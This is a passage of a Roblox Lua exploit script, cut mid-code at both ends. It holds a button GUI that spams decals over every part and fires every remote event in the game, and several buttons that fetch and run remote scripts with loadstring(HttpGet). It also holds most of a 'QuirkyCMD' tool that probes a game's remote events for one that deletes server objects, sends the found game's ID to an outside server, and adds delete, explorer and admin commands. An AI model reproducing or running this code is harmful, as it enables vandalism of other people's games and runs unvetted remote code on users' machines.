[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(input.Text)
end)
end;
task.spawn(C_113);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11b()
local script = G2L["11b"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
loadstring(game:HttpGet('https://pastebin.com/raw/jtNuZTYt'))()
end)
end;
task.spawn(C_11b);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11d()
local script = G2L["11d"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()
end)
end;
task.spawn(C_11d);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11f()
local script = G2L["11f"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local remoteamount = 0
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
remoteamount = remoteamount + 1
v:FireServer()
if v:IsA("BindableEvent") then
remoteamount = remoteamount + 1
v:Fire()
if v:IsA("RemoteFunction") then
remoteamount = remoteamount + 1
v:InvokeServer()
end
end
end
end
end)
end;
task.spawn(C_11f);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_121()
local script = G2L["121"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
end)
end;
task.spawn(C_121);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_123()
local script = G2L["123"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))();
end)
end;
task.spawn(C_123);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_125()
local script = G2L["125"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()
end)
end;
task.spawn(C_125);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_127()
local script = G2L["127"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local cloneref = cloneref or function(a) return a end
local coreGui = cloneref(game:GetService("CoreGui"))
local players = cloneref(game:GetService("Players"))
local localPlayer = players.LocalPlayer
local function isElevatedStudioPlugin()
local s, r = pcall(function()
return coreGui:GetChildren()
end)
return s
end
local gethui = gethui or function()
local folder
if isElevatedStudioPlugin() then
if coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") then
folder = coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui")
else
folder = Instance.new("Folder")
folder.Name = '.__gethui'
folder.Parent = coreGui:WaitForChild("RobloxGui")
end
else
folder = localPlayer:WaitForChild'PlayerGui'
end
return folder
end
local quirkycmd = Instance.new("ScreenGui", gethui())
quirkycmd.Name = "quirkyCMD"
quirkycmd.IgnoreGuiInset = true
quirkycmd.ScreenInsets = Enum.ScreenInsets.DeviceSafeInsets
quirkycmd.ResetOnSpawn = false
quirkycmd.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local remotepath = Instance.new("TextLabel")
remotepath.Name = "remotepath"
remotepath.Text = ""
remotepath.TextColor3 = Color3.fromRGB(255, 255, 255)
remotepath.TextScaled = true
remotepath.TextSize = 14
remotepath.TextTransparency = 0.6
remotepath.TextWrapped = true
remotepath.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
remotepath.BackgroundTransparency = 0.6
remotepath.BorderColor3 = Color3.fromRGB(0, 0, 0)
remotepath.BorderSizePixel = 0
remotepath.Position = UDim2.fromScale(0.396, 0.249)
remotepath.Size = UDim2.fromScale(0.208, 0.044)
local uicorner = Instance.new("UICorner")
uicorner.Name = "UICorner"
uicorner.CornerRadius = UDim.new(0, 3)
uicorner.Parent = remotepath
remotepath.Parent = quirkycmd
local cmdbox = Instance.new("TextBox")
cmdbox.Name = "cmdBox"
cmdbox.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
cmdbox.PlaceholderText = "ERROR"
cmdbox.Text = ""
cmdbox.TextColor3 = Color3.fromRGB(200, 200, 200)
cmdbox.TextScaled = true
cmdbox.TextSize = 12
cmdbox.TextTruncate = Enum.TextTruncate.AtEnd
cmdbox.TextWrapped = true
cmdbox.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
cmdbox.BorderColor3 = Color3.fromRGB(59, 59, 59)
cmdbox.BorderSizePixel = 3
cmdbox.Position = UDim2.fromScale(0.396, 0.25)
cmdbox.Size = UDim2.fromScale(0.208, 0.0441)
local uitextsizeconstraint = Instance.new("UITextSizeConstraint")
uitextsizeconstraint.Name = "UITextSizeConstraint"
uitextsizeconstraint.MaxTextSize = 18
uitextsizeconstraint.Parent = cmdbox
cmdbox.Parent = quirkycmd
local mobileopen = Instance.new("TextButton")
mobileopen.Name = "mobileOpen"
mobileopen.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
mobileopen.Text = "CMD"
mobileopen.TextColor3 = Color3.fromRGB(200, 200, 200)
mobileopen.TextScaled = true
mobileopen.TextSize = 14
mobileopen.TextWrapped = true
mobileopen.AnchorPoint = Vector2.new(1, 0)
mobileopen.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
mobileopen.BorderColor3 = Color3.fromRGB(0, 0, 0)
mobileopen.BorderSizePixel = 0
mobileopen.Position = UDim2.fromScale(1, 0.25)
mobileopen.Size = UDim2.fromScale(0.0346, 0.0734)
local uicorner1 = Instance.new("UICorner")
uicorner1.Name = "UICorner"
uicorner1.CornerRadius = UDim.new(0, 3)
uicorner1.Parent = mobileopen
mobileopen.Parent = quirkycmd
local cmds = Instance.new("Frame")
cmds.Name = "cmds"
cmds.Active = true
cmds.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
cmds.BorderColor3 = Color3.fromRGB(0, 0, 0)
cmds.BorderSizePixel = 0
cmds.Position = UDim2.fromScale(0.446, 0.305)
cmds.Size = UDim2.fromScale(0.108, 0.389)
cmds.Parent = quirkycmd
local cmdlist = Instance.new("ScrollingFrame")
cmdlist.Name = "cmdList"
cmdlist.AutomaticCanvasSize = Enum.AutomaticSize.Y
cmdlist.CanvasSize = UDim2.new()
cmdlist.ScrollBarThickness = 8
cmdlist.ScrollingDirection = Enum.ScrollingDirection.Y
cmdlist.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
cmdlist.BorderColor3 = Color3.fromRGB(0, 0, 0)
cmdlist.BorderSizePixel = 0
cmdlist.Position = UDim2.fromScale(0, 0.0566)
cmdlist.Size = UDim2.fromScale(1, 0.943)
local template = Instance.new("TextLabel")
template.Name = "template"
template.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
template.Text = "error occured, dm quirky"
template.TextColor3 = Color3.fromRGB(200, 200, 200)
template.TextScaled = true
template.TextSize = 14
template.TextWrapped = true
template.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
template.BackgroundTransparency = 1
template.BorderColor3 = Color3.fromRGB(0, 0, 0)
template.BorderSizePixel = 0
template.Size = UDim2.fromScale(0.9, 0.1)
template.Parent = cmdlist
local uilistlayout = Instance.new("UIListLayout")
uilistlayout.Name = "UIListLayout"
uilistlayout.Padding = UDim.new(0, 5)
uilistlayout.SortOrder = Enum.SortOrder.LayoutOrder
uilistlayout.Parent = cmdlist
cmdlist.Parent = cmds
local closebutton = Instance.new("TextButton")
closebutton.Name = "closeButton"
closebutton.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
closebutton.Text = "Close"
closebutton.TextColor3 = Color3.fromRGB(255, 255, 255)
closebutton.TextScaled = true
closebutton.TextSize = 14
closebutton.TextWrapped = true
closebutton.Active = false
closebutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
closebutton.BorderColor3 = Color3.fromRGB(0, 0, 0)
closebutton.BorderSizePixel = 0
closebutton.Size = UDim2.fromScale(1, 0.0566)
closebutton.Parent = cmds
if not game:IsLoaded() then game.Loaded:Wait() end
--[[Variables]]--
local debugOutput = true
local checkTime = 0.33
local UGCVS = game:GetService("UGCValidationService")
local uis = game:GetService("UserInputService")
local sgui = game:GetService("StarterGui")
local rs = game:GetService("RunService")
local rStorage = game:GetService("ReplicatedStorage")
local players = game:GetService("Players")
local genv = (getgenv and (getgenv() ~= getfenv()) and getgenv()) or _G
local gethiddenproperty = gethiddenproperty or (pcall(UGCVS.GetPropertyValue,UGCVS,workspace,"Name") and function(i, v) return UGCVS:GetPropertyValue(i, v) end)
local sethiddenproperty = sethiddenproperty or function(inst,i,v) inst[i] = v end
local isnetworkowner = isnetworkowner or function(part) return part.ReceiveAge == 0 end
local isMobile = uis.TouchEnabled
local isTesting = game.PlaceId == 16245218863
local modernChat = game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService
local chatEvents = (not modernChat) and rStorage:FindFirstChild("DefaultChatSystemChatEvents")
local mobileOffset = isMobile and 0.25 or 0
local prefix = ";"
local prefixEnum = Enum.KeyCode.Semicolon
-- credits to itzyaboyluq on github for the word list
local wordList = {"delete", "remove", "destroy", "clean", "clear","bullet", "bala", "shoot", "shot", "fire", "segway", "handless", "sword", "attack", "despawn", "deletar", "apagar"}
local localPlayer = players.LocalPlayer
local camera = workspace.CurrentCamera
local mouse = localPlayer:GetMouse()
local character = localPlayer.Character or localPlayer.CharacterAdded:Wait()
local bodyColors = character:WaitForChild("Body Colors",0.1) or character:WaitForChild("Head"):WaitForChild("HatAttachment",0.1) or character:WaitForChild("Head")
if not bodyColors then return error("no test instance found") end
local gui = quirkycmd or localPlayer:FindFirstChildOfClass("PlayerGui"):FindFirstChild("quirkyCMD")
local box = gui:WaitForChild("cmdBox")
local mobileButton = gui:WaitForChild("mobileOpen")
local cmdsFrame = gui:WaitForChild("cmds")
local cmdsList = cmdsFrame:WaitForChild("cmdList")
local cmdTemplate = cmdsList:WaitForChild("template")
local closeButton = cmdsFrame:WaitForChild("closeButton")
local remotePath = gui:WaitForChild("remotepath")
local visible = false
genv.connections = {}
local commands = {}
local remotes = {}
local services = {}
local privilegeLevels = {}
local rankNames = {"admin", "owner", "local"}
local bans = {}
local loopkills = {}
local infected = {}
local killauras = {}
local wslocks = {}
local slockEnabled = false
local inDatabase = false
local atts = {
"BodyProportionScale",
"BodyWidthScale",
"BodyHeightScale",
"BodyDepthScale",
"HeadScale",
"BodyTypeScale"
}
local limbs = {
"arm",
"leg",
"foot"
}
local function httpget(url)
if isTesting then
return rStorage:WaitForChild("request"):InvokeServer(url)
end
return game:HttpGet(url)
end
-- credits to littlemike57 (uuid 3099053) on v3rmillion
local Iris
local irisCoroutine
if isTesting then
irisCoroutine = coroutine.create(function()
Iris = require(game:GetService("ReplicatedStorage"):WaitForChild("iris")).Init()
end)
else
irisCoroutine = coroutine.create(function()
Iris = loadstring(httpget("https://raw.githubusercontent.com/someunknowndude/Iris-Exploit-Bundle/main/bundle.lua"))().Init()
end)
end
coroutine.resume(irisCoroutine)
--[[Add test game compatability]]--
if isTesting then
function loadstring(src)
return require(rStorage:WaitForChild("Loadstring"))(src)
end
local files = localPlayer.PlayerGui:WaitForChild("workspace")
function isfile(str)
local str = str or ""
return files:FindFirstChild(str) and true or false
end
function writefile(str,txt)
local str = str or ""
local val = isfile(str) and files[str] or Instance.new("StringValue", files)
val.Name = str
val.Value = txt
end
function readfile(str)
local str = str or ""
if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
return files[str].Value
end
function listfiles(str)
local res = {}
for i,v in pairs(files:GetChildren()) do
table.insert(res, v.Name)
end
return res
end
function loadfile(str)
local str = str or ""
if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
return loadstring(files[str].Value)
end
end
--[[Prepare UI]]--
cmdsFrame.Visible = false
cmdTemplate.Visible = false
mobileButton.Visible = false
box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50)
--[[Set up admin system logic]]--
for i,v in pairs(players:GetPlayers()) do
privilegeLevels[v.Name] = 0
end
privilegeLevels[localPlayer.Name] = 3
table.insert(genv.connections, players.PlayerAdded:Connect(function(plr)
privilegeLevels[plr.Name] = 0
end))
table.insert(genv.connections, players.PlayerRemoving:Connect(function(plr)
privilegeLevels[plr.Name] = nil
end))
--[[Misc. functions]]--
function debugPrint(...)
if not debugOutput then return end
warn(...)
end
debugPrint("loaded UI")
function notify(title,text,duration)
sgui:SetCore("SendNotification", {
Title = title or "",
Text = text or "",
Duration = duration or 5
})
end
local function getKeyCode(char)
local char = char:lower()
local byte = char:byte()
for i,v in pairs(Enum.KeyCode:GetEnumItems()) do
local value = v.Value
if value ~= byte then continue end
return v
end
end
function findPlayers(input)
if input == nil or input == "" then return
{localPlayer}
end
local input = input:lower()
local players = players:GetPlayers()
local targets = {}
if input == "me" then
return {localPlayer}
end
if input == "all" then
return players
end
if input == "others" then
targets = players
table.remove(targets,1)
return targets
end
if input == "random" then
return {players[math.random(1,#players)]}
end
for i,v in pairs(players) do
local plrName = v.Name:lower()
local plrDisplayName = v.DisplayName:lower()
if not (plrName:find(input) or plrDisplayName:find(input)) then continue end
table.insert(targets, v)
end
return targets
end
function abort()
for i,v in pairs(genv.connections) do
if typeof(v) == "Instance" then v:Destroy() continue end
v:Disconnect()
end
gui:Destroy()
if modernChat then
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = nil
end
if Iris then
Iris.Disabled = true
end
coroutine.yield(irisCoroutine)
end
local function lerp(a, b, m)
return a + (b - a) * m
end
--[[Update variables]]--
table.insert(genv.connections, localPlayer.CharacterAdded:Connect(function(char)
character = char
bodyColors = char:WaitForChild("Body Colors", 0.1) or char:WaitForChild("Head"):WaitForChild("HatAttachment", 0.1) or char:WaitForChild("Head")
end))
--[[Add command bar hide/show logic]]--
local function toggleBar(focus)
visible = not visible
if visible then
box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,.25,0),Enum.EasingDirection.Out,Enum.EasingStyle.Back, 0.1,true,function() if focus then box:CaptureFocus() end end)
return
end
box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50),Enum.EasingDirection.Out,Enum.EasingStyle.Linear, 0.05,true)
end
table.insert(genv.connections, uis.InputBegan:Connect(function(input, processed)
if processed and uis:GetFocusedTextBox() ~= box then return end
if input.KeyCode ~= prefixEnum then return end
toggleBar(true)
if visible then return end
box:ReleaseFocus()
end))
--[[Find destroy remote & save to working games list]]--
local remoteJSON
local function hasFiles()
return (isfile and readfile and writefile)
end
local function getGameList()
if not isfile("quirky games.json") then
writefile("quirky games.json", "[]")
return {}
end
local content = readfile("quirky games.json")
return game:GetService("HttpService"):JSONDecode(content)
end
local function checkFile()
if not hasFiles() then return end
for i,v in pairs(getGameList()) do
if i ~= tostring(game.PlaceId) then continue end
for _, instance in pairs(game:GetDescendants()) do
if not (instance:IsA("RemoteEvent") and instance.Name == v) then continue end
genv.foundRemote = instance
remotePath.Visible = false
break
end
end
end
local function sendGame()
spawn(function()
local res, err
res,err = pcall(function()
httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name)
end)
if res then return end
-- retry game log if first one failed
pcall(function()
httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name)
end)
end)
end
local function logGameLocally()
local games = getGameList()
games[tostring(game.PlaceId)] = genv.foundRemote.Name
writefile("quirky games.json", game:GetService("HttpService"):JSONEncode(games))
sendGame()
end
local function checkDatabase()
local res, succ, err, remoteJSON
succ, err = pcall(function()
res = httpget("https://eli.serv00.net/checkgame.php?id="..tostring(game.PlaceId))
remoteJSON = game:GetService("HttpService"):JSONDecode(res)
end)
if not succ then return debugPrint("database check failed:", err) end
local success = remoteJSON["success"]
local result = remoteJSON["result"]
if success then
debugPrint(result)
inDatabase = true
if genv.foundRemote then return end
for _, instance in pairs(game:GetDescendants()) do
if not (instance:IsA("RemoteEvent") and instance.Name == result) then continue end
genv.foundRemote = instance
remotePath.Visible = false
break
end
end
end
debugPrint("initialised vars and funcs")
checkFile()
task.spawn(checkDatabase)
remotePath.Text = "checking database..."
task.wait(0.25)
if not genv.foundRemote then
for i,service in pairs(game:GetChildren()) do
if service.ClassName == "ReplicatedStorage" or service.ClassName == "Workspace" then continue end
table.insert(services, service)
end
local function checkRemote(remote)
debugPrint(remote.Name)
remotePath.Text = remote:GetFullName()
local currentBC = bodyColors
local currentChar = character
remote:FireServer(bodyColors)
task.wait(checkTime + mobileOffset + (localPlayer:GetNetworkPing()*2))
if (#currentChar:GetChildren() < 7) or (#character:GetChildren() < 7) or (currentChar ~= localPlayer.Character) or (currentBC ~= bodyColors) or (bodyColors.Parent == character) or (currentBC.Parent == character) then return end
genv.foundRemote = remote
debugPrint("found!")
remotePath.TextColor3 = Color3.new(0,1,0)
task.wait(.5)
remotePath.Visible = false
return true
end
local function scan(instance, softScan)
checkTime = softScan and 0.75 or 0.5
for i,v in pairs(instance:GetDescendants()) do
if genv.foundRemote then return end
if not v:IsA("RemoteEvent") then continue end
if v:FindFirstChild("__FUNCTION") then continue end
table.insert(remotes, v)
if softScan then
for _, phrase in pairs(wordList) do
if not v.Name:lower():find(phrase) then continue end
checkRemote(v)
end
continue
end
checkRemote(v)
end
end
if not genv.foundRemote then
debugPrint("soft rs")
scan(rStorage, true)
end
if not genv.foundRemote then
debugPrint("soft pgui")
scan(localPlayer:FindFirstChildOfClass("PlayerGui"), true)
end
if not genv.foundRemote then
debugPrint("soft ws")
scan(workspace, true)
end
if not genv.foundRemote then
debugPrint("aggro rs")
scan(rStorage, false)
end
if not genv.foundRemote then
debugPrint("aggro pgui")
scan(localPlayer:FindFirstChildOfClass("PlayerGui"), false)
end
if not genv.foundRemote then
debugPrint("aggro ws")
scan(workspace, false)
end
if not genv.foundRemote then
debugPrint("aggro all")
for i,v in pairs(services) do
scan(v, false)
end
end
end
if not genv.foundRemote then
remotePath.Text = "no remote found, aborting..."
task.wait(3)
gui:Destroy()
return debugPrint("no silly remote found :( try a game from #confirmed-games in the server")
end
if hasFiles() and getGameList()[tostring(game.PlaceId)] == nil then
logGameLocally()
end
function delete(instance)
genv.foundRemote:FireServer(instance)
debugPrint("deleted instance " .. instance.Name)
end
genv.delete = genv.delete or delete
toggleBar(false)
--[[Add mobile support]]--
if isMobile then
debugPrint("adding mobile compatability")
mobileButton.Visible = true
box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50)
--[[Add button functionality]]--
mobileButton.MouseButton1Click:Connect(function()
toggleBar(true)
end)
--[[Add drag functionality]]--
local dragging
local dragInput
local dragStart
local startPos
local lastMousePos
local lastGoalPos
local dragSpeed = 20
local function update(dt)
if not (startPos) then return end
local snap = (mouse.ViewSizeX - mouse.X) <= mouse.ViewSizeX/2 and 1 or mobileButton.Size.X.Scale
if not (dragging) and (lastGoalPos) then
mobileButton.Position = UDim2.new(lastGoalPos.X.Scale, 0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
return
end
local delta = (lastMousePos - uis:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X)
local yGoal = (startPos.Y.Offset - delta.Y)
lastGoalPos = UDim2.new(snap,0, startPos.Y.Scale, yGoal)
mobileButton.Position = UDim2.new(snap ,0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, yGoal, dt * dragSpeed))
end
mobileButton.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = mobileButton.Position
lastMousePos = uis:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
mobileButton.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
table.insert(genv.connections,rs.Heartbeat:Connect(update))
end
--[[Add command logic]]--
function addCommand(cmdName, callback, aliases, securityLevel)
table.insert(commands,{
name = cmdName:lower(),
callback = callback,
aliases = aliases or {},
securityLevel = securityLevel or 3
})
end
function runCommand(cmdName, ...)
if type(cmdName) == "table" then
cmdName.callback(...)
return
end
for i,v in pairs(commands) do
if (v.name ~= cmdName) and (not table.find(v.aliases, cmdName)) then continue end
v.callback(...)
break
end
end
local function handleCommand(text, caller)
local split = text:split(" ")
local enteredCommand = split[1]
local command
local target = split[2] or caller.Name
local input = table.concat(split, " ", 2, #split)
for i,v in pairs(commands) do -- bad implementation, might rewrite cmd handling again
if (v.name ~= enteredCommand) and (not table.find(v.aliases,enteredCommand)) then continue end
command = v
break
end
if not command then return end
local commandLevel = command.securityLevel
local callerLevel = privilegeLevels[caller.Name]
if callerLevel < commandLevel then return end
runCommand(command, findPlayers(target), input)
end
--[[Add chat command functionality]]--
local function handleChat(data)
local message = modernChat and data.Text or data.Message
local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or players:FindFirstChild(data.FromSpeaker)
local rank = privilegeLevels[plr.Name]
if rank == 0 then return end
local starter = message:sub(1,1)
if starter ~= prefix then return end
handleCommand(message:sub(2,-1), plr)
end
if modernChat then
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data)
handleChat(data)
end
else
local messageEvent = chatEvents and chatEvents:FindFirstChild("OnMessageDoneFiltering")
if messageEvent then
table.insert(genv.connections, chatEvents and messageEvent.OnClientEvent:Connect(handleChat))
end
end
--[[Add command bar functionality]]--
table.insert(genv.connections,box.FocusLost:Connect(function(enterPressed)
if visible then
toggleBar()
end
if not enterPressed then return end
handleCommand(box.Text, localPlayer)
end))
--[[Add plugin support]]--
if listfiles and hasFiles() then
local success, files = pcall(listfiles,"/")
if success and type(files) == "table" then
for i,v in pairs(files) do
if v:sub(-5,-1) ~= ".qcmd" then continue end
task.spawn(loadstring(readfile(v))) -- why does nothing support loadfile :sob:
end
end
end
--[[Create commands]]--
addCommand("cmds", function()
cmdsFrame.Visible = true
end, {"commands"}, 3)
addCommand("setprefix", function(plrs,newPrefix)
local char = newPrefix:sub(1,1)
if char == "" then prefix = ";" return end
prefix = char
prefixEnum = getKeyCode(char)
end, {"prefix"}, 3)
addCommand("setbind", function()
uis.InputBegan:Wait() -- fires Return KeyCode
local enum = uis.InputBegan:Wait().KeyCode
prefixEnum = enum
end, {"bind"}, 3)
addCommand("admin", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 1
debugPrint(`{v.Name} has been made an admin`)
end
end, {"addadmin"}, 2)
addCommand("unadmin", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 0
debugPrint(`{v.Name} is no longer an admin`)
end
end, {"removeadmin"}, 2)
addCommand("owner", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 2
debugPrint(`{v.Name} has been made an owner`)
end
end, {"addowner", "op"}, 3)
addCommand("unowner", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 0
debugPrint(`{v.Name} is no longer an owner`)
end
end, {"removeowner", "deop"}, 3)
addCommand("ranks", function()
local printString = "\nQuirkyCMD ranks:\n"
for name,level in pairs(privilegeLevels) do
if level == 0 then continue end
local plr = players:FindFirstChild(name)
if not plr then continue end
local displayName = plr.DisplayName
local rank = rankNames[level]
local entryString = ""
printString ..= `{displayName}` .. ((name ~= displayName and ` (@{name})`) or "") .. ` - {rank}\n`
end
print(printString)
end, {"admins", "owners"}, 3)
addCommand("aliases", function()
local printString = "\nQuirkyCMD command aliases:\n"
for i,v in pairs(commands) do
local aliases = v.aliases
if #aliases == 0 then continue end
local aliasString = ""
for index, alias in pairs(aliases) do
aliasString ..= alias .. (index == #aliases and "" or ", ")
end
printString ..= `{v.name}: [{aliasString}]\n`
end
print(printString)
end, {}, 3)
addCommand("explorer", function()
local function addTree(Instance)
local InstTree = Iris.Tree({Instance.Name})
Iris.SameLine() do
if Iris.SmallButton({"Delete"}).clicked then
delete(Instance)
end
if Iris.SmallButton({"Clear children"}).clicked then
for i,v in pairs(Instance:GetChildren()) do
delete(v)
end
end
Iris.End()
end
if InstTree.state.isUncollapsed.value then
for i,v in pairs(Instance:GetChildren()) do
addTree(v)
end
end
Iris.End()
end
Iris:Connect(function()
Iris.Window({"QCMD Explorer", [Iris.Args.Window.NoClose] = false}, {size = Iris.State(Vector2.new(200, 300)), position = Iris.State(Vector2.new(500, 75))}) do
local priorityServices = {"Workspace", "Lighting", "Players", "ReplicatedStorage", "StarterPlayer", "StarterPack", "StarterGui"}
for i,v in pairs(priorityServices) do
addTree(game:GetService(v))
end
for i,v in pairs(game:GetChildren()) do
if table.find(priorityServices, v.ClassName) then continue end
addTree(v)
end
Iris.End()
end
end)
end, {"dex"}, 3)
addCommand("goto", function(plrs)
local target
local part
for i,v in pairs(plrs) do
local tChar = v.Character
if not tChar then continue end
part = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Head") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("LowerTorso") or tChar:FindFirstChildOfClass("BasePart")
if not part then continue end
break
end
if not part then return end
character:PivotTo(part.CFrame * CFrame.new(0,0,2))
end, {"to"}, 3)
local viewConnection
addCommand("view", function(plrs)
local target
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChild("Humanoid") or char:FindFirstChild("HumanoidRootPart")
if not hum then continue end
target = hum
break
end
if not target then return end
if viewConnection then viewConnection:Disconnect() end
viewConnection = players[target.Parent.Name].CharacterAdded:Connect(function(char)
local hum = char:WaitForChild("Humanoid")
if not hum then return end
camera.CameraSubject = hum
end)
table.insert(genv.connections,viewConnection)
camera.CameraSubject = target
end, {"spectate"}, 3)
addCommand("unview", function(plrs)
if viewConnection then viewConnection:Disconnect() end
camera.CameraSubject = character.Humanoid or character:FindFirstChildOfClass("BasePart")
end, {}, 3)
addCommand("rejoin", function()
if #players:GetPlayers() <= 1 then
localPlayer:Kick("Rejoining!!")
task.wait(.1)
game:GetService("TeleportService"):Teleport(game.PlaceId, localPlayer)
return
end
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId,localPlayer)
end, {"rj"}, 3)
addCommand("reset", function()
local hum = character:FindFirstChild("Humanoid")
local hrp = character:FindFirstChild("HumanoidRootPart") or hum and hum.RootPart
local oldPosition = hrp and hrp.CFrame
for i,v in pairs(character:GetChildren()) do
if not v:IsA("Part") then continue end
v.CFrame = CFrame.new(0, workspace.FallenPartsDestroyHeight+5,0)
end
task.wait(.1)
if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end
character:BreakJoints()
if not oldPosition then return end
local newHrp = localPlayer.CharacterAdded:Wait():WaitForChild("HumanoidRootPart")
newHrp.CFrame = oldPosition
end, {"re", "respawn"}, 3)
addCommand("btools", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
